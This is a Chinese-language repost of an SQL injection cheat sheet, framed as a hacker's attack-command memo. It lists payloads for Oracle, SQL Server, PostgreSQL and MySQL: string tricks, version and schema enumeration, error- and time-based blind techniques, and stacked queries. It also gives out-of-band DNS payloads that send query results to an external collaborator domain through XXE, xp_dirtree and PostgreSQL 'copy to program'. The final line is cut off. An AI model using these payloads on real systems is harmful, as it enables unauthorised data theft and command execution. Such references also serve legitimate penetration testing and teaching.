【2019】黑客SQL注入攻擊命令大全,就相當于一個備忘錄吧 您可以使用這些語法來執行SQL注入攻擊時經常出現的
String concatenation 字串串聯
您可以將多個字串連接在一起以組成一個字串。
Oracle 'foo'||'bar'
Microsoft 'foo'+'bar'
PostgreSQL 'foo'||'bar'
MySQL 'foo' 'bar' [Note the space between the two strings]
CONCAT('foo','bar')
Comments 注釋
您可以使用注釋來截斷查詢并洗掉輸入之后的原始查詢部分。
Oracle --comment
Microsoft --comment
/*comment*/
PostgreSQL --comment
/*comment*/
MySQL #comment
-- comment [Note the space after the double dash]
/*comment*/
Database version 資料庫型別和版本
您可以查詢資料庫以確定其型別和版本。在制定更復雜的攻擊時,此資訊很有用。
Oracle SELECT banner FROM v$version
SELECT version FROM v$instance
Microsoft SELECT @@version
PostgreSQL SELECT version()
MySQL SELECT @@version
Database contents 資料庫內容
您可以列出資料庫中存在的表以及這些表包含的列。
Oracle SELECT * FROM all_tables
SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'
Microsoft SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
PostgreSQL SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
MySQL SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
Conditional errors 條件錯誤
您可以測驗單個boolean(布爾)條件,如果條件為true,則觸發資料庫錯誤。
Oracle SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN to_char(1/0) ELSE NULL END FROM dual
Microsoft SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END
PostgreSQL SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN cast(1/0 as text) ELSE NULL END
MySQL SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a')
Batched (or stacked) queries 批處理(或堆疊)查詢
您可以使用批處理查詢來連續執行多個查詢。請注意,在執行后續查詢時,結果不會回傳給應用程式。因此,該技術主要用于與盲目的漏洞有關的問題,在該漏洞中,您可以使用第二個查詢來觸發DNS查找,條件錯誤或時間延遲。
Oracle Does not support batched queries.
Microsoft QUERY-1-HERE; QUERY-2-HERE
PostgreSQL QUERY-1-HERE; QUERY-2-HERE
MySQL Does not support batched queries.
Time delays 時間延遲
處理查詢時,可能導致資料庫中的時間延遲。以下情況將導致10秒的無條件時間延遲。
Oracle dbms_pipe.receive_message(('a'),10)
Microsoft WAITFOR DELAY '0:0:10'
PostgreSQL SELECT pg_sleep(10)
MySQL SELECT sleep(10)
Conditional time delays 有條件的時間延遲
您可以測驗單個布爾條件,并在條件為真時觸發時間延遲。
Oracle SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual
Microsoft IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10'
PostgreSQL SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END
MySQL SELECT IF(YOUR-CONDITION-HERE,sleep(10),'a')
DNS lookup DNS查詢
您可以使資料庫對外部域執行DNS查找。為此,您將需要使用Burp客戶端生成將在攻擊中使用的唯一Burp Collaborator子域,然后輪詢Collaborator服務器以確認是否發生了DNS查找。
Oracle 以下技術利用XML外部物體(XXE)漏洞來觸發DNS查找。該漏洞已得到修補,但是存在許多未修補的Oracle安裝:
SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual
以下技術適用于完整Oracle安裝,權限的提升:
SELECT UTL_INADDR.get_host_address('YOUR-SUBDOMAIN-HERE.burpcollaborator.net')
Microsoft exec master..xp_dirtree '//YOUR-SUBDOMAIN-HERE.burpcollaborator.net/a'
PostgreSQL copy (SELECT '') to program 'nslookup YOUR-SUBDOMAIN-HERE.burpcollaborator.net'
MySQL 以下技術僅適用于Windows:
LOAD_FILE('\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\\a')
SELECT ... INTO OUTFILE '\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\a'
DNS lookup with data exfiltration DNS查找與資料滲透
您可以使資料庫對包含注入查詢結果的外部域執行DNS查找。為此,您將需要使用Burp Collaborator客戶端生成將在攻擊中使用的唯一Burp Collaborator子域,然后輪詢Collaborator服務器以檢索任何DNS互動的詳細資訊,包括被泄露的資料。
Oracle SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual
Microsoft declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/a"')
PostgreSQL create OR replace function f() returns void as $$
declare c text;
declare p text;
begin
SELECT into p (SELECT YOUR-QUERY-HERE);
c := 'copy (SELECT '''') to program ''nslookup '||p||'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net''';
execute c;
END;
$$ language plpgsql security definer;
SELECT f();
MySQL 以下技術僅適用于Windows:
SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\YOUR-SUBDOMAIN-HERE.burpcoll
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/38843.html
標籤:網絡維護與管理
上一篇:新手小白求如何手動配置郵箱服務器
下一篇:靜態路由配置問題
